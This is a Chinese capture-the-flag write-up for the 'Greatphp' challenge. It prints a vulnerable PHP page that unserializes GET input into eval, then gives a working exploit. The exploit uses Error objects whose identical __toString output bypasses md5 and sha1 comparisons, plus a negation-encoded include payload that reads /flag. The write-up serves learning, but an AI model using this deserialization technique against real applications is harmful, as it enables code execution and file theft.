# [极客大挑战 2020] Greatphp
源码:
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
这一个条件,在普通的题目里,只需要用数组绕过即可,但是这里是在类中,该怎么绕过呢?
我们可以使用含有 __toString 方法的 php 内置类来绕过,用的两个比较多的内置类是 Exception 和 Error ,他们之中有一个 __toString fangfa , 当类被当作字符串处理时,就会调用这个函数,以 Error 类为例,我们可控当触发他的__toString 方法时会发生什么?
发现会以字符串的形式 输出当前报错,包含当前的错误信息, 以及他出现错误的行号 (3),从而传入 Error (“payload”,9) 中的错误代码 “9 ” 则没有被输出出来,再来看看如何 绕过 md5 以及 sha1.
可见 b 这两个对象本身是不同的。但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前的行号
Exception 类与 Error 类的使用和结果完全一样,只不过 Exception 类适用于 PHP 5 和 7 而 Error 只适用于 php7
我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类对象,让着两个对象本身不同 (传入的错误代码即可), 但是 __toString 方法输出的结果相同即可。
由于题目 用 preg_match 过滤了小括号 无法调用函数,所以我们尝试 直接 include “/flag” 将 flag 包含进来即可,由于过滤了引号,我们直接用 url 取反绕过即可。
exp:
<?php
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
总结:
error 原生类 __toString 方法的结果是相同的。 记住行号也需要一样,他们的值是不一样的,但是呢, 结果的 md5 值是一样的,从而可以绕过 。执行 eval 函数,eval include /flag。
对 php 原生类 有了些许了解,但还需要继续学习。